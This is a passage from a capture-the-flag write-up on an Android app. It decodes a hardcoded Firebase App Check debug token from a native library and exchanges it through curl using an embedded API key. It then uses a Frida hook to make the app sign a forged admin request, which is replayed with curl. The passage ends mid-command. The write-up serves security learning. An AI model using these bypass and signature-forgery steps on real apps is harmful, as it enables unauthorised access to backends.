Select-String &lt;span class="nt"&gt;-Path&lt;/span&gt; logcat_dump.txt &lt;span class="nt"&gt;-Pattern&lt;/span&gt; &lt;span class="s2"&gt;"debug secret"&lt;/span&gt;,&lt;span class="s2"&gt;"appcheck"&lt;/span&gt;,&lt;span class="s2"&gt;"FAM_CTF"&lt;/span&gt; &lt;span class="nt"&gt;-SimpleMatch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That only showed the app's own &lt;code&gt;Log.d&lt;/code&gt; calls (&lt;code&gt;ch1 ok&lt;/code&gt;, &lt;code&gt;ch2 ok&lt;/code&gt;, &lt;code&gt;ch3 ok&lt;/code&gt;, etc.) - no debug-secret line, since this build doesn't log it.&lt;/p&gt;

&lt;p&gt;Also tried intercepting Firestore traffic via Burp with the emulator's proxy pointed at the host:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;adb shell settings put global http_proxy 10.0.2.2:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Installed Burp's CA cert on the emulator and relaunched the app, but the Firestore SDK on Android talks over &lt;strong&gt;gRPC&lt;/strong&gt;, which doesn't show up in Burp's normal HTTP history - dead end for this approach.&lt;/p&gt;

&lt;h3&gt;
  
  
  Static extraction of the debug token
&lt;/h3&gt;

&lt;p&gt;Went back to the hint: &lt;em&gt;"the token is hiding in plain sight"&lt;/em&gt; - same pattern as Flag 1. Tried disassembling &lt;code&gt;getDebugToken&lt;/code&gt; directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;objdump &lt;span class="nt"&gt;-d&lt;/span&gt; extracted/lib/arm64-v8a/libfam.so &lt;span class="nt"&gt;--disassemble&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Java_com_ctf_fam_MainActivity_getDebugToken
&lt;span class="c"&gt;# objdump: can't disassemble for architecture UNKNOWN!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Kali's &lt;code&gt;objdump&lt;/code&gt; didn't have ARM64 support built in, so switched to the x86_64 build of the same library:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;objdump &lt;span class="nt"&gt;-d&lt;/span&gt; extracted/lib/x86_64/libfam.so &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--disassemble&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Java_com_ctf_fam_MainActivity_getDebugToken &lt;span class="nt"&gt;-M&lt;/span&gt; intel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The disassembly showed a 36-byte loop (36 = length of a UUID string) doing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="mf"&gt;0.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;byte1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rodata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x34f0&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="n"&gt;mod&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="n"&gt;XOR&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;
    &lt;span class="n"&gt;byte2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rodata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x3510&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;byte1&lt;/span&gt; &lt;span class="n"&gt;XOR&lt;/span&gt; &lt;span class="n"&gt;byte2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dumped both byte arrays from &lt;code&gt;.rodata&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;objdump &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-j&lt;/span&gt; .rodata &lt;span class="nt"&gt;--start-address&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x34f0 &lt;span class="nt"&gt;--stop-address&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x3514 extracted/lib/x86_64/libfam.so
objdump &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-j&lt;/span&gt; .rodata &lt;span class="nt"&gt;--start-address&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x3510 &lt;span class="nt"&gt;--stop-address&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x3534 extracted/lib/x86_64/libfam.so
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Computed the XOR with a 19-byte cyclic key (the loop index wraps every 19 bytes via a compiler-generated modulo trick) - the dashes in the result landed exactly at UUID positions (8/13/18/23), confirming the decode:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Debug token:&lt;/strong&gt; &lt;code&gt;8f76557d-a35a-4b51-94d4-d0df98d79b55&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Exchanging the debug token for a real App Check token
&lt;/h3&gt;

&lt;p&gt;A raw debug token isn't itself a valid credential - it has to be exchanged for a signed App Check attestation JWT first, using the App ID from &lt;code&gt;initAppCheck()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"https://firebaseappcheck.googleapis.com/v1/projects/fam-ctf/apps/1:674578159678:android:775058d15777caf841996f:exchangeDebugToken?key=AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"debug_token":"8f76557d-a35a-4b51-94d4-d0df98d79b55"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(First attempt without the &lt;code&gt;?key=&amp;lt;API_KEY&amp;gt;&lt;/code&gt; param failed with &lt;code&gt;403 Method doesn't allow unregistered callers&lt;/code&gt; - the API key is required to call this endpoint.)&lt;/p&gt;

&lt;p&gt;Response contained a signed App Check &lt;code&gt;token&lt;/code&gt;. Got a fresh &lt;code&gt;idToken&lt;/code&gt; too, since the earlier one had expired:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"returnSecureToken":true}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Final Firestore read with both tokens:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"https://firestore.googleapis.com/v1/projects/fam-ctf/databases/(default)/documents/flags/flag3"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &amp;lt;idToken&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-Firebase-AppCheck: &amp;lt;exchangedAppCheckToken&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"projects/fam-ctf/databases/(default)/documents/flags/flag3"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"fields"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"value"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"stringValue"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"FAM{4pp_ch3ck_byp4ss_g00d_j0b}"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;FAM{4pp_ch3ck_byp4ss_g00d_j0b}&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Flag 4 - The Endpoint
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; &lt;em&gt;"The server only trusts what it can verify. Intercept. Modify. But can you keep it honest? Only admin has clearance."&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What's known so far
&lt;/h3&gt;

&lt;p&gt;Backend URL, recovered from &lt;code&gt;MainActivity.java&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="no"&gt;SERVER_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"http://172.16.13.107:9000"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At least one endpoint observed in Burp during setup for stage 3: &lt;code&gt;POST /api/check&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The app exposes a native signing function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kd"&gt;native&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;computeSignature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kd"&gt;native&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;getUsernames&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;submitChallenge()&lt;/code&gt; reads a username from a UI spinner and calls &lt;code&gt;computeSignature("POST", "/api/check", body)&lt;/code&gt; to sign the request before hitting &lt;code&gt;/api/check&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;submitChallenge&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;spinner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSelectedItem&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"{\"username\":\""&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"\"}"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;sig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;computeSignature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"/api/check"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// ... POST to /api/check with body + X-Signature header&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Crucially, the spinner only ever offers a fixed, non-admin list of usernames from &lt;code&gt;getUsernames()&lt;/code&gt; - there is no UI path to send &lt;code&gt;"role":"admin"&lt;/code&gt;. The hint ("only admin has clearance") meant the goal was to send a body the app was never designed to send, signed correctly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reversing &lt;code&gt;computeSignature&lt;/code&gt; statically
&lt;/h3&gt;

&lt;p&gt;Disassembled the function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;objdump &lt;span class="nt"&gt;-d&lt;/span&gt; extracted/lib/x86_64/libfam.so &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--disassemble&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Java_com_ctf_fam_MainActivity_computeSignature &lt;span class="nt"&gt;-M&lt;/span&gt; intel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The outer function just concatenates &lt;code&gt;method + SEPARATOR + path + SEPARATOR + body&lt;/code&gt; into one string and hands it to an inner, unexported helper. Disassembling that helper directly by address revealed a custom, hand-rolled mixing algorithm:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A 32-byte internal state seeded from constants in &lt;code&gt;.rodata&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Each message byte XORed against the same 19-byte debug-token key from Flag 3 before entering the mix&lt;/li&gt;
&lt;li&gt;A rotate/multiply/XOR round per byte using an FxHash-style multiplier (&lt;code&gt;0x517cc1b727220a95&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;parallel&lt;/strong&gt; textbook FNV-1a hash computed over the raw message, compared against a hardcoded constant as an apparent backdoor check&lt;/li&gt;
&lt;li&gt;A finalization pass folding the 4-word state down before hex-encoding it into the returned signature string&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is a legitimate, non-trivial hash construction (not a simple XOR like Flags 1 and 3) - reproducing it byte-for-byte in Python from raw disassembly alone was slow and error-prone. Given the algorithm was confirmed to be fully client-side (all key material lives in the shipped &lt;code&gt;.so&lt;/code&gt;), the faster and more reliable path was to stop reimplementing the algorithm and instead let the app sign an arbitrary payload for us at runtime.&lt;/p&gt;

&lt;h3&gt;
  
  
  Runtime approach: Frida hook on &lt;code&gt;computeSignature&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Rooted the emulator and pushed &lt;code&gt;frida-server&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\adb.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;kill-server&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\adb.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;start-server&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\adb.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;root&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\adb.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;shell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/data/local/tmp/frida-server &amp;amp;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of reverse-engineering the signing algorithm to reimplement it externally, hooked the native method at the JNI boundary and substituted the outgoing body with an admin payload before the real &lt;code&gt;computeSignature&lt;/code&gt; implementation ever ran. Because the hook calls straight through to the original native function, the app's own key material and mixing logic sign the forged body correctly - no need to fully reconstruct the algorithm by hand.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;hook_sig.js&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;perform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;MainActivity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;com.ctf.fam.MainActivity&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;MainActivity&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;computeSignature&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;implementation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Substitute the admin payload the UI never lets us send&lt;/span&gt;
        &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;adminBody&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{"username":"admin","role":"admin"}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[!!!] FORCING SIGNATURE FOR: &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;adminBody&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;sig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;computeSignature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;adminBody&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[+] FORGED SIGNATURE: &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;sig&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;sig&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attached Frida to the running app process and loaded the hook:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;frida.exe &lt;span class="nt"&gt;-U&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 13671 &lt;span class="nt"&gt;-l&lt;/span&gt; hook_sig.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then triggered the request from the app's own UI (tapping &lt;strong&gt;SEND REQUEST&lt;/strong&gt; in the "The Endpoint" screen). The hook intercepted the call, swapped in the admin body, and let the native code sign it exactly as it would sign any legitimate request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;!!!&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;FORCING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;SIGNATURE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;FOR:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;FORGED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;SIGNATURE:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;ed&lt;/span&gt;&lt;span class="mi"&gt;0e8&lt;/span&gt;&lt;span class="err"&gt;c&lt;/span&gt;&lt;span class="mi"&gt;86&lt;/span&gt;&lt;span class="err"&gt;eaa&lt;/span&gt;&lt;span class="mi"&gt;229329&lt;/span&gt;&lt;span class="err"&gt;a&lt;/span&gt;&lt;span class="mi"&gt;006&lt;/span&gt;&lt;span class="err"&gt;c&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="err"&gt;c&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="err"&gt;ee&lt;/span&gt;&lt;span class="mi"&gt;25443012&lt;/span&gt;&lt;span class="err"&gt;c&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="err"&gt;b&lt;/span&gt;&lt;span class="mi"&gt;7e65&lt;/span&gt;&lt;span class="err"&gt;bb&lt;/span&gt;&lt;span class="mi"&gt;1231374&lt;/span&gt;&lt;span class="err"&gt;c&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="err"&gt;f&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="err"&gt;f&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="err"&gt;a&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="err"&gt;a&lt;/span&gt;&lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Replaying the forged request
&lt;/h3&gt;

&lt;p&gt;With a validly-signed admin body in hand, replayed it directly against the production endpoint outside the app:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://ctf.fampay.co/api/check &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-Signature: ed0e8c86eaa229329a006c55c9ee25443012c6b7e65bb1231374c7f32f2a4a90"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
